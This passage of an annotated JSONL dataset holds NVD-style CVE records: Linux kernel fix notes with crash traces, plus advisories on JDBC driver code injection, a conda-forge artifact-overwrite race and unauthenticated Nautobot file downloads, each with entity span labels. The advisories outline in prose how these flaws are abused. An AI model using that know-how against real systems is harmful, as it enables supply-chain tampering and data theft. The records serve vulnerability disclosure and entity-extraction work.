"spans": {"FILEPATH: /usb/core/urb.c": [[630, 645], [686, 701], [1558, 1573], [1614, 1629]], "FILEPATH: /net/wireless/ath/ath9k/hif_usb.c": [[734, 767], [815, 848], [1662, 1695], [1743, 1776]], "FILEPATH: /net/wireless/ath/ath9k/htc_hst.c": [[876, 909], [964, 997], [1358, 1391], [1804, 1837], [1892, 1925], [2286, 2319]], "FILEPATH: /core/skbuff.c": [[1193, 1207], [1249, 1263], [2121, 2135], [2177, 2191]], "FILEPATH: /linux/skbuff.h": [[1286, 1301], [2214, 2229]], "FILEPATH: slab.h": [[1055, 1061], [1983, 1989]], "FILEPATH: slub.c": [[1095, 1101], [1161, 1167], [2023, 2029], [2089, 2095]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49235"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp_bpf: Fix the sk_mem_uncharge logic in tcp_bpf_sendmsg\n\nThe current sk memory accounting logic in __SK_REDIRECT is pre-uncharging\ntosend bytes, which is either msg->sg.size or a smaller value apply_bytes.\n\nPotential problems with this strategy are as follows:\n\n- If the actual sent bytes are smaller than tosend, we need to charge some\n  bytes back, as in line 487, which is okay but seems not clean.\n\n- When tosend is set to apply_bytes, as in line 417, and (ret < 0), we may\n  miss uncharging (msg->sg.size - apply_bytes) bytes.\n\n[...]\n415 tosend = msg->sg.size;\n416 if (psock->apply_bytes && psock->apply_bytes < tosend)\n417   tosend = psock->apply_bytes;\n[...]\n443 sk_msg_return(sk, msg, tosend);\n444 release_sock(sk);\n446 origsize = msg->sg.size;\n447 ret = tcp_bpf_sendmsg_redir(sk_redir, redir_ingress,\n448                             msg, tosend, flags);\n449 sent = origsize - msg->sg.size;\n[...]\n454 lock_sock(sk);\n455 if (unlikely(ret < 0)) {\n456   int free = sk_msg_free_nocharge(sk, msg);\n458   if (!cork)\n459     *copied -= free;\n460 }\n[...]\n487 if (eval == __SK_REDIRECT)\n488   sk_mem_charge(sk, tosend - sent);\n[...]\n\nWhen running the selftest test_txmsg_redir_wait_sndmem with txmsg_apply,\nthe following warning will be reported:\n\n------------[ cut here ]------------\nWARNING: CPU: 6 PID: 57 at net/ipv4/af_inet.c:156 inet_sock_destruct+0x190/0x1a0\nModules linked in:\nCPU: 6 UID: 0 PID: 57 Comm: kworker/6:0 Not tainted 6.12.0-rc1.bm.1-amd64+ #43\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014\nWorkqueue: events sk_psock_destroy\nRIP: 0010:inet_sock_destruct+0x190/0x1a0\nRSP: 0018:ffffad0a8021fe08 EFLAGS: 00010206\nRAX: 0000000000000011 RBX: ffff9aab4475b900 RCX: ffff9aab481a0800\nRDX: 0000000000000303 RSI: 0000000000000011 RDI: ffff9aab4475b900\nRBP: ffff9aab4475b990 R08: 0000000000000000 R09: ffff9aab40050ec0\nR10: 0000000000000000 R11: ffff9aae6fdb1d01 R12: ffff9aab49c60400\nR13: ffff9aab49c60598 R14: ffff9aab49c60598 R15: dead000000000100\nFS:  0000000000000000(0000) GS:ffff9aae6fd80000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffec7e47bd8 CR3: 00000001a1a1c004 CR4: 0000000000770ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n<TASK>\n? __warn+0x89/0x130\n? inet_sock_destruct+0x190/0x1a0\n? report_bug+0xfc/0x1e0\n? handle_bug+0x5c/0xa0\n? exc_invalid_op+0x17/0x70\n? asm_exc_invalid_op+0x1a/0x20\n? inet_sock_destruct+0x190/0x1a0\n__sk_destruct+0x25/0x220\nsk_psock_destroy+0x2b2/0x310\nprocess_scheduled_works+0xa3/0x3e0\nworker_thread+0x117/0x240\n? __pfx_worker_thread+0x10/0x10\nkthread+0xcf/0x100\n? __pfx_kthread+0x10/0x10\nret_from_fork+0x31/0x40\n? __pfx_kthread+0x10/0x10\nret_from_fork_asm+0x1a/0x30\n</TASK>\n---[ end trace 0000000000000000 ]---\n\nIn __SK_REDIRECT, a more concise way is delaying the uncharging after sent\nbytes are finalized, and uncharge this value. When (ret < 0), we shall\ninvoke sk_msg_free.\n\nSame thing happens in case __SK_DROP, when tosend is set to apply_bytes,\nwe may miss uncharging (msg->sg.size - apply_bytes) bytes. The same\nwarning will be reported in selftest.\n\n[...]\n468 case __SK_DROP:\n469 default:\n470 sk_msg_free_partial(sk, msg, tosend);\n471 sk_msg_apply_bytes(psock, tosend);\n472 *copied -= (tosend + delta);\n473 return -EACCES;\n[...]\n\nSo instead of sk_msg_free_partial we can do sk_msg_free here.", "spans": {"FILEPATH: /ipv4/af_inet.c": [[1385, 1400]], "FILEPATH: /01/2014": [[1605, 1613]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1549, 1553]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56633"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: always panic when errors=panic is specified\n\nBefore commit 014c9caa29d3 (\"ext4: make ext4_abort() use\n__ext4_error()\"), the following series of commands would trigger a\npanic:\n\n1. mount /dev/sda -o ro,errors=panic test\n2. mount /dev/sda -o remount,abort test\n\nAfter commit 014c9caa29d3, remounting a file system using the test\nmount option \"abort\" will no longer trigger a panic.  This commit will\nrestore the behaviour immediately before commit 014c9caa29d3.\n(However, note that the Linux kernel's behavior has not been\nconsistent; some previous kernel versions, including 5.4 and 4.19\nsimilarly did not panic after using the mount option \"abort\".)\n\nThis also makes a change to long-standing behaviour; namely, the\nfollowing series commands will now cause a panic, when previously it\ndid not:\n\n1. mount /dev/sda -o ro,errors=panic test\n2. echo test > /sys/fs/ext4/sda/trigger_fs_error\n\nHowever, this makes ext4's behaviour much more consistent, so this is\na good thing.", "spans": {"FILEPATH: /dev/sda": [[261, 269], [303, 311], [879, 887]], "FILEPATH: /sys/fs/ext4/sda/trigger_fs_error": [[927, 960]], "SYSTEM: Linux kernel": [[7, 19], [559, 571]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46945"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/cma: Fix kmemleak in rdma_core observed during blktests nvme/rdma use siw\n\nWhen running blktests nvme/rdma, the following kmemleak issue will appear.\n\nkmemleak: Kernel memory leak detector initialized (mempool available:36041)\nkmemleak: Automatic memory scanning thread started\nkmemleak: 2 new suspected memory leaks (see /sys/kernel/debug/kmemleak)\nkmemleak: 8 new suspected memory leaks (see /sys/kernel/debug/kmemleak)\nkmemleak: 17 new suspected memory leaks (see /sys/kernel/debug/kmemleak)\nkmemleak: 4 new suspected memory leaks (see /sys/kernel/debug/kmemleak)\n\nunreferenced object 0xffff88855da53400 (size 192):\n  comm \"rdma\", pid 10630, jiffies 4296575922\n  hex dump (first 32 bytes):\n    37 00 00 00 00 00 00 00 c0 ff ff ff 1f 00 00 00  7...............\n    10 34 a5 5d 85 88 ff ff 10 34 a5 5d 85 88 ff ff  .4.].....4.]....\n  backtrace (crc 47f66721):\n    [<ffffffff911251bd>] kmalloc_trace+0x30d/0x3b0\n    [<ffffffffc2640ff7>] alloc_gid_entry+0x47/0x380 [ib_core]\n    [<ffffffffc2642206>] add_modify_gid+0x166/0x930 [ib_core]\n    [<ffffffffc2643468>] ib_cache_update.part.0+0x6d8/0x910 [ib_core]\n    [<ffffffffc2644e1a>] ib_cache_setup_one+0x24a/0x350 [ib_core]\n    [<ffffffffc263949e>] ib_register_device+0x9e/0x3a0 [ib_core]\n    [<ffffffffc2a3d389>] 0xffffffffc2a3d389\n    [<ffffffffc2688cd8>] nldev_newlink+0x2b8/0x520 [ib_core]\n    [<ffffffffc2645fe3>] rdma_nl_rcv_msg+0x2c3/0x520 [ib_core]\n    [<ffffffffc264648c>]\nrdma_nl_rcv_skb.constprop.0.isra.0+0x23c/0x3a0 [ib_core]\n    [<ffffffff9270e7b5>] netlink_unicast+0x445/0x710\n    [<ffffffff9270f1f1>] netlink_sendmsg+0x761/0xc40\n    [<ffffffff9249db29>] __sys_sendto+0x3a9/0x420\n    [<ffffffff9249dc8c>] __x64_sys_sendto+0xdc/0x1b0\n    [<ffffffff92db0ad3>] do_syscall_64+0x93/0x180\n    [<ffffffff92e00126>] entry_SYSCALL_64_after_hwframe+0x71/0x79\n\nThe root cause: rdma_put_gid_attr is not called when sgid_attr is set\nto ERR_PTR(-ENODEV).", "spans": {"FILEPATH: /sys/kernel/debug/kmemleak": [[396, 422], [468, 494], [541, 567], [613, 639]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[242, 253]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38539"}}
{"text": "Improper Control of Generation of Code ('Code Injection') vulnerability in Progress DataDirect Connect for JDBC drivers, Progress DataDirect Open Access JDBC driver and Hybrid Data Pipeline allows Remote Code Inclusion.\n\n\nThe SpyAttribute connection option implemented by the DataDirect Connect for JDBC drivers, DataDirect Hybrid Data Pipeline JDBC driver and the DataDirect OpenAccess JDBC driver supports an undocumented syntax construct for the option value that if discovered can be used by an attacker.  If an application allows an end user to specify a value for the SpyAttributes connection option then an attacker can use the undocumented syntax to cause the driver to load an arbitrary class on the class path and execute a constructor on that class.  \n\n\nThis issue affects:\n\nDataDirect Connect for JDBC for Amazon Redshift: through 6.0.0.001392, fixed in 6.0.0.001541\n\nDataDirect Connect for JDBC for Apache Cassandra: through 6.0.0.000805, fixed in 6.0.0.000833\n\nDataDirect Connect for JDBC for Hive: through 6.0.1.001499, fixed in 6.0.1.001628\n\nDataDirect Connect for JDBC for Apache Impala: through 6.0.0.001155, fixed in 6.0.0.001279\n\nDataDirect Connect for JDBC for Apache SparkSQL: through 6.0.1.001222, fixed in 6.0.1.001344\n\nDataDirect Connect for JDBC Autonomous REST Connector: through 6.0.1.006961, fixed in 6.0.1.007063\n\nDataDirect Connect for JDBC for DB2: through 6.0.0.000717, fixed in 6.0.0.000964\n\nDataDirect Connect for JDBC for Google Analytics 4: through 6.0.0.000454, fixed in 6.0.0.000525\n\nDataDirect Connect for JDBC for Google BigQuery: through 6.0.0.002279, fixed in 6.0.0.002410\nDataDirect Connect for JDBC for Greenplum: through 6.0.0.001712, fixed in 6.0.0.001727\nDataDirect Connect for JDBC for Informix: through 6.0.0.000690, fixed in 6.0.0.0851\n\n\nDataDirect Connect for JDBC for Microsoft Dynamics 365: through 6.0.0.003161, fixed in 6.0.0.3198\n\nDataDirect Connect for JDBC for Microsoft SQLServer: through 6.0.0.001936, fixed in 6.0.0.001957\n\nDataDirect Connect for JDBC for Microsoft Sharepoint: through 6.0.0.001559, fixed in 6.0.0.001587\n\nDataDirect Connect for JDBC for MongoDB: through 6.1.0.001654, fixed in 6.1.0.001669\n\nDataDirect Connect for JDBC for MySQL: through 5.1.4.000330, fixed in 5.1.4.000364\n\nDataDirect Connect for JDBC for Oracle Database: through 6.0.0.001747, fixed in 6.0.0.001776\n\nDataDirect Connect for JDBC for Oracle Eloqua: through 6.0.0.001438, fixed in 6.0.0.001458\n\nDataDirect Connect for JDBC for Oracle Sales Cloud: through 6.0.0.001225, fixed in 6.0.0.001316\n\nDataDirect Connect for JDBC for Oracle Service Cloud: through 5.1.4.000298, fixed in 5.1.4.000309\nDataDirect Connect for JDBC for PostgreSQL: through 6.0.0.001843, fixed in 6.0.0.001856\n\nDataDirect Connect for JDBC for Progress OpenEdge: through 5.1.4.000187, fixed in 5.1.4.000189\n\nDataDirect Connect for JDBC for Salesforce: through 6.0.0.003020, fixed in 6.0.0.003125\nDataDirect Connect for JDBC for SAP HANA: through 6.0.0.000879, product retired\n\nDataDirect Connect for JDBC for SAP S/4 HANA: through 6.0.1.001818, fixed in 6.0.1.001858\n\nDataDirect Connect for JDBC for Sybase ASE: through 5.1.4.000161, fixed in 5.1.4.000162\n\nDataDirect Connect for JDBC for Snowflake: through 6.0.1.001821, fixed in 6.0.1.001856\n\nDataDirect Hybrid Data Pipeline Server: through 4.6.2.3309, fixed in 4.6.2.3430\n\nDataDirect Hybrid Data Pipeline JDBC Driver: through 4.6.2.0607, fixed in 4.6.2.1023\n\nDataDirect Hybrid Data Pipeline On Premises Connector: through 4.6.2.1223, fixed in 4.6.2.1339\nDataDirect Hybrid Data Pipeline Docker: through 4.6.2.3316, fixed in 4.6.2.3430\n\nDataDirect OpenAccess JDBC Driver: through 8.1.0.0177, fixed in 8.1.0.0183\n\nDataDirect OpenAccess JDBC Driver: through 9.0.0.0019, fixed in 9.0.0.0022", "spans": {"SYSTEM: Oracle Database": [[2287, 2302]], "SYSTEM: PostgreSQL": [[2668, 2678]], "SYSTEM: SAP HANA": [[2941, 2949]], "SYSTEM: MongoDB": [[2117, 2124]], "SYSTEM: MySQL": [[2203, 2208]], "ORGANIZATION: Salesforce": [[2853, 2863]], "ORGANIZATION: Microsoft": [[1821, 1830], [1920, 1929], [2018, 2027]], "ORGANIZATION: Progress": [[75, 83], [121, 129], [2757, 2765]], "ORGANIZATION: Google": [[1458, 1464], [1555, 1561]], "ORGANIZATION: Oracle": [[2381, 2387], [2473, 2479], [2570, 2576]], "ORGANIZATION: Apache": [[912, 918], [1090, 1096], [1182, 1188]], "ORGANIZATION: Docker": [[3552, 3558]], "ORGANIZATION: Amazon": [[818, 824]], "ORGANIZATION: SAP": [[3022, 3025]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-10702"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/core: Fix use-after-free when rename device name\n\nSyzbot reported a slab-use-after-free with the following call trace:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in nla_put+0xd3/0x150 lib/nlattr.c:1099\nRead of size 5 at addr ffff888140ea1c60 by task syz.0.988/10025\n\nCPU: 0 UID: 0 PID: 10025 Comm: syz.0.988\nNot tainted 6.14.0-rc4-syzkaller-00859-gf77f12010f67 #0\nHardware name: Google Compute Engine, BIOS Google 02/12/2025\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:408 [inline]\n print_report+0x16e/0x5b0 mm/kasan/report.c:521\n kasan_report+0x143/0x180 mm/kasan/report.c:634\n kasan_check_range+0x282/0x290 mm/kasan/generic.c:189\n __asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105\n nla_put+0xd3/0x150 lib/nlattr.c:1099\n nla_put_string include/net/netlink.h:1621 [inline]\n fill_nldev_handle+0x16e/0x200 drivers/infiniband/core/nldev.c:265\n rdma_nl_notify_event+0x561/0xef0 drivers/infiniband/core/nldev.c:2857\n ib_device_notify_register+0x22/0x230 drivers/infiniband/core/device.c:1344\n ib_register_device+0x1292/0x1460 drivers/infiniband/core/device.c:1460\n rxe_register_device+0x233/0x350 drivers/infiniband/sw/rxe/rxe_verbs.c:1540\n rxe_net_add+0x74/0xf0 drivers/infiniband/sw/rxe/rxe_net.c:550\n rxe_newlink+0xde/0x1a0 drivers/infiniband/sw/rxe/rxe.c:212\n nldev_newlink+0x5ea/0x680 drivers/infiniband/core/nldev.c:1795\n rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]\n rdma_nl_rcv+0x6dd/0x9e0 drivers/infiniband/core/netlink.c:259\n netlink_unicast_kernel net/netlink/af_netlink.c:1313 [inline]\n netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1339\n netlink_sendmsg+0x8de/0xcb0 net/netlink/af_netlink.c:1883\n sock_sendmsg_nosec net/socket.c:709 [inline]\n __sock_sendmsg+0x221/0x270 net/socket.c:724\n ____sys_sendmsg+0x53a/0x860 net/socket.c:2564\n ___sys_sendmsg net/socket.c:2618 [inline]\n __sys_sendmsg+0x269/0x350 net/socket.c:2650\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f42d1b8d169\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 ...\nRSP: 002b:00007f42d2960038 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007f42d1da6320 RCX: 00007f42d1b8d169\nRDX: 0000000000000000 RSI: 00004000000002c0 RDI: 000000000000000c\nRBP: 00007f42d1c0e2a0 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 00007f42d1da6320 R15: 00007ffe399344a8\n </TASK>\n\nAllocated by task 10025:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __do_kmalloc_node mm/slub.c:4294 [inline]\n __kmalloc_node_track_caller_noprof+0x28b/0x4c0 mm/slub.c:4313\n __kmemdup_nul mm/util.c:61 [inline]\n kstrdup+0x42/0x100 mm/util.c:81\n kobject_set_name_vargs+0x61/0x120 lib/kobject.c:274\n dev_set_name+0xd5/0x120 drivers/base/core.c:3468\n assign_name drivers/infiniband/core/device.c:1202 [inline]\n ib_register_device+0x178/0x1460 drivers/infiniband/core/device.c:1384\n rxe_register_device+0x233/0x350 drivers/infiniband/sw/rxe/rxe_verbs.c:1540\n rxe_net_add+0x74/0xf0 drivers/infiniband/sw/rxe/rxe_net.c:550\n rxe_newlink+0xde/0x1a0 drivers/infiniband/sw/rxe/rxe.c:212\n nldev_newlink+0x5ea/0x680 drivers/infiniband/core/nldev.c:1795\n rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]\n rdma_nl_rcv+0x6dd/0x9e0 drivers/infiniband/core/netlink.c:259\n netlink_unicast_kernel net/netlink/af_netlink.c:1313 [inline]\n netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1339\n netlink_sendmsg+0x8de/0xcb0 net\n---truncated---", "spans": {"FILEPATH: /12/2025": [[547, 555]], "FILEPATH: /kasan/report.c": [[697, 712], [754, 769], [802, 817]], "FILEPATH: /kasan/generic.c": [[855, 871]], "FILEPATH: /kasan/shadow.c": [[903, 918]], "FILEPATH: /net/netlink.h": [[984, 998]], "FILEPATH: /infiniband/core/nldev.c": [[1051, 1075], [1121, 1145], [1532, 1556], [3671, 3695]], "FILEPATH: /infiniband/core/device.c": [[1196, 1221], [1268, 1293], [3327, 3352], [3407, 3432]], "FILEPATH: /infiniband/sw/rxe/rxe_verbs.c": [[1339, 1369], [3478, 3508]], "FILEPATH: /infiniband/sw/rxe/rxe_net.c": [[1405, 1433], [3544, 3572]], "FILEPATH: /infiniband/sw/rxe/rxe.c": [[1469, 1493], [3608, 3632]], "FILEPATH: /infiniband/core/netlink.c": [[1586, 1612], [1658, 1684], [3725, 3751], [3797, 3823]], "FILEPATH: /netlink/af_netlink.c": [[1716, 1737], [1784, 1805], [1843, 1864], [3855, 3876], [3923, 3944]], "FILEPATH: /x86/entry/common.c": [[2116, 2135], [2178, 2197]], "FILEPATH: /kasan/common.c": [[2797, 2812], [2855, 2870], [2900, 2915], [2958, 2973]], "FILEPATH: /linux/kasan.h": [[3000, 3014]], "FILEPATH: /base/core.c": [[3289, 3301]], "FILEPATH: nlattr.c": [[319, 327], [947, 955]], "FILEPATH: dump_stack.c": [[594, 606], [651, 663]], "FILEPATH: socket.c": [[1894, 1902], [1948, 1956], [1994, 2002], [2028, 2036], [2082, 2090]], "FILEPATH: slub.c": [[3050, 3056], [3122, 3128]], "FILEPATH: util.c": [[3152, 3158], [3194, 3200]], "FILEPATH: kobject.c": [[3243, 3252]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[510, 516], [538, 544]], "VULNERABILITY: use-after-free": [[84, 98], [147, 161], [278, 292]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22085"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: scsi_debug: Don't call kcalloc() if size arg is zero\n\nIf the size arg to kcalloc() is zero, it returns ZERO_SIZE_PTR.  Because of\nthat, for a following NULL pointer check to work on the returned pointer,\nkcalloc() must not be called with the size arg equal to zero. Return early\nwithout error before the kcalloc() call if size arg is zero.\n\nBUG: KASAN: null-ptr-deref in memcpy include/linux/fortify-string.h:191 [inline]\nBUG: KASAN: null-ptr-deref in sg_copy_buffer+0x138/0x240 lib/scatterlist.c:974\nWrite of size 4 at addr 0000000000000010 by task syz-executor.1/22789\n\nCPU: 1 PID: 22789 Comm: syz-executor.1 Not tainted 5.15.0-syzk #1\nHardware name: Red Hat KVM, BIOS 1.13.0-2\nCall Trace:\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x89/0xb5 lib/dump_stack.c:106\n __kasan_report mm/kasan/report.c:446 [inline]\n kasan_report.cold.14+0x112/0x117 mm/kasan/report.c:459\n check_region_inline mm/kasan/generic.c:183 [inline]\n kasan_check_range+0x1a3/0x210 mm/kasan/generic.c:189\n memcpy+0x3b/0x60 mm/kasan/shadow.c:66\n memcpy include/linux/fortify-string.h:191 [inline]\n sg_copy_buffer+0x138/0x240 lib/scatterlist.c:974\n do_dout_fetch drivers/scsi/scsi_debug.c:2954 [inline]\n do_dout_fetch drivers/scsi/scsi_debug.c:2946 [inline]\n resp_verify+0x49e/0x930 drivers/scsi/scsi_debug.c:4276\n schedule_resp+0x4d8/0x1a70 drivers/scsi/scsi_debug.c:5478\n scsi_debug_queuecommand+0x8c9/0x1ec0 drivers/scsi/scsi_debug.c:7533\n scsi_dispatch_cmd drivers/scsi/scsi_lib.c:1520 [inline]\n scsi_queue_rq+0x16b0/0x2d40 drivers/scsi/scsi_lib.c:1699\n blk_mq_dispatch_rq_list+0xb9b/0x2700 block/blk-mq.c:1639\n __blk_mq_sched_dispatch_requests+0x28f/0x590 block/blk-mq-sched.c:325\n blk_mq_sched_dispatch_requests+0x105/0x190 block/blk-mq-sched.c:358\n __blk_mq_run_hw_queue+0xe5/0x150 block/blk-mq.c:1761\n __blk_mq_delay_run_hw_queue+0x4f8/0x5c0 block/blk-mq.c:1838\n blk_mq_run_hw_queue+0x18d/0x350 block/blk-mq.c:1891\n blk_mq_sched_insert_request+0x3db/0x4e0 block/blk-mq-sched.c:474\n blk_execute_rq_nowait+0x16b/0x1c0 block/blk-exec.c:62\n blk_execute_rq+0xdb/0x360 block/blk-exec.c:102\n sg_scsi_ioctl drivers/scsi/scsi_ioctl.c:621 [inline]\n scsi_ioctl+0x8bb/0x15c0 drivers/scsi/scsi_ioctl.c:930\n sg_ioctl_common+0x172d/0x2710 drivers/scsi/sg.c:1112\n sg_ioctl+0xa2/0x180 drivers/scsi/sg.c:1165\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:874 [inline]\n __se_sys_ioctl fs/ioctl.c:860 [inline]\n __x64_sys_ioctl+0x19d/0x220 fs/ioctl.c:860\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3a/0x80 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /linux/fortify-string.h": [[460, 483], [1121, 1144]], "FILEPATH: /kasan/report.c": [[875, 890], [940, 955]], "FILEPATH: /kasan/generic.c": [[983, 999], [1046, 1062]], "FILEPATH: /kasan/shadow.c": [[1087, 1102]], "FILEPATH: /scsi/scsi_debug.c": [[1230, 1248], [1285, 1303], [1350, 1368], [1409, 1427], [1478, 1496]], "FILEPATH: /scsi/scsi_lib.c": [[1528, 1544], [1595, 1611]], "FILEPATH: /scsi/scsi_ioctl.c": [[2174, 2192], [2238, 2256]], "FILEPATH: /scsi/sg.c": [[2299, 2309], [2343, 2353]], "FILEPATH: /x86/entry/common.c": [[2537, 2556], [2598, 2617]], "FILEPATH: scatterlist.c": [[558, 571], [1190, 1203]], "FILEPATH: dump_stack.c": [[785, 797], [840, 852]], "FILEPATH: mq.c": [[1665, 1669], [1859, 1863], [1920, 1924], [1973, 1977]], "FILEPATH: sched.c": [[1734, 1741], [1803, 1810], [2037, 2044]], "FILEPATH: exec.c": [[2094, 2100], [2141, 2147]], "FILEPATH: ioctl.c": [[2373, 2380], [2412, 2419], [2452, 2459], [2505, 2512]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[736, 739]], "ORGANIZATION: Red Hat": [[728, 735]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47578"}}
{"text": "conda-forge-webservices is the web app deployed to run conda-forge admin commands and linting. In versions prior to 2025.4.10, a race condition vulnerability has been identified in the conda-forge-webservices component used within the shared build infrastructure. This vulnerability, categorized as a Time-of-Check to Time-of-Use (TOCTOU) issue, can be exploited to introduce unauthorized modifications to build artifacts stored in the cf-staging Anaconda channel. Exploitation may result in the unauthorized publication of malicious artifacts to the production conda-forge channel. The core vulnerability results from the absence of atomicity between the hash validation and the artifact copy operation. This gap allows an attacker, with access to the cf-staging token, to overwrite the validated artifact with a malicious version immediately after hash verification, but before the copy action is executed. As the cf-staging channel permits artifact overwrites, such an operation can be carried out using the anaconda upload --force command. This vulnerability is fixed in 2025.4.10.", "spans": {"VULNERABILITY: race condition": [[129, 143]], "VULNERABILITY: TOCTOU": [[331, 337]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-32784"}}
{"text": "Nautobot is a Network Source of Truth and Network Automation Platform built as a web application atop the Django Python framework with a PostgreSQL or MySQL database. In Nautobot 1.x and 2.0.x prior to 1.6.7 and 2.0.6, the URLs `/files/get/?name=...` and `/files/download/?name=...` are used to provide admin access to files that have been uploaded as part of a run request for a Job that has FileVar inputs. Under normal operation these files are ephemeral and are deleted once the Job in question runs. \n\nIn the default implementation used in Nautobot, as provided by `django-db-file-storage`, these URLs do not by default require any user authentication to access; they should instead be restricted to only users who have permissions to view Nautobot's `FileProxy` model instances.\n\nNote that no URL mechanism is provided for listing or traversal of the available file `name` values, so in practice an unauthenticated user would have to guess names to discover arbitrary files for download, but if a user knows the file name/path value, they can access it without authenticating, so we are considering this a vulnerability.\n\nFixes are included in Nautobot 1.6.7 and Nautobot 2.0.6. No known workarounds are available other than applying the patches included in those versions.", "spans": {"FILEPATH: /files/get": [[229, 239]], "FILEPATH: /files/download": [[256, 271]], "SYSTEM: PostgreSQL": [[137, 147]], "SYSTEM: Python": [[113, 119]], "SYSTEM: MySQL": [[151, 156]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-50263"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrivers/perf: hisi: Don't migrate perf to the CPU going to teardown\n\nThe driver needs to migrate the perf context if the current using CPU going\nto teardown. By the time calling the cpuhp::teardown() callback the\ncpu_online_mask() hasn't updated yet and still includes the CPU going to\nteardown. In current driver's implementation we may migrate the context\nto the teardown CPU and leads to the below calltrace:\n\n...\n[  368.104662][  T932] task:cpuhp/0         state:D stack:    0 pid:   15 ppid:     2 flags:0x00000008\n[  368.113699][  T932] Call trace:\n[  368.116834][  T932]  __switch_to+0x7c/0xbc\n[  368.120924][  T932]  __schedule+0x338/0x6f0\n[  368.125098][  T932]  schedule+0x50/0xe0\n[  368.128926][  T932]  schedule_preempt_disabled+0x18/0x24\n[  368.134229][  T932]  __mutex_lock.constprop.0+0x1d4/0x5dc\n[  368.139617][  T932]  __mutex_lock_slowpath+0x1c/0x30\n[  368.144573][  T932]  mutex_lock+0x50/0x60\n[  368.148579][  T932]  perf_pmu_migrate_context+0x84/0x2b0\n[  368.153884][  T932]  hisi_pcie_pmu_offline_cpu+0x90/0xe0 [hisi_pcie_pmu]\n[  368.160579][  T932]  cpuhp_invoke_callback+0x2a0/0x650\n[  368.165707][  T932]  cpuhp_thread_fun+0xe4/0x190\n[  368.170316][  T932]  smpboot_thread_fn+0x15c/0x1a0\n[  368.175099][  T932]  kthread+0x108/0x13c\n[  368.179012][  T932]  ret_from_fork+0x10/0x18\n...\n\nUse function cpumask_any_but() to find one correct active cpu to fixes\nthis issue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53656"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: Fix dropping valid root bus resources with .end = zero\n\nOn r8a7791/koelsch:\n\n  kmemleak: 1 new suspected memory leaks (see /sys/kernel/debug/kmemleak)\n  # cat /sys/kernel/debug/kmemleak\n  unreferenced object 0xc3a34e00 (size 64):\n    comm \"swapper/0\", pid 1, jiffies 4294937460 (age 199.080s)\n    hex dump (first 32 bytes):\n      b4 5d 81 f0 b4 5d 81 f0 c0 b0 a2 c3 00 00 00 00  .]...]..........\n      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    backtrace:\n      [<fe3aa979>] __kmalloc+0xf0/0x140\n      [<34bd6bc0>] resource_list_create_entry+0x18/0x38\n      [<767046bc>] pci_add_resource_offset+0x20/0x68\n      [<b3f3edf2>] devm_of_pci_get_host_bridge_resources.constprop.0+0xb0/0x390\n\nWhen coalescing two resources for a contiguous aperture, the second\nresource is enlarged to cover the full contiguous range, while the first\nresource is marked invalid.  This invalidation is done by clearing the\nflags, start, and end members.\n\nWhen adding the initial resources to the bus later, invalid resources are\nskipped.  Unfortunately, the check for an invalid resource considers only\nthe end member, causing false positives.\n\nE.g. on r8a7791/koelsch, root 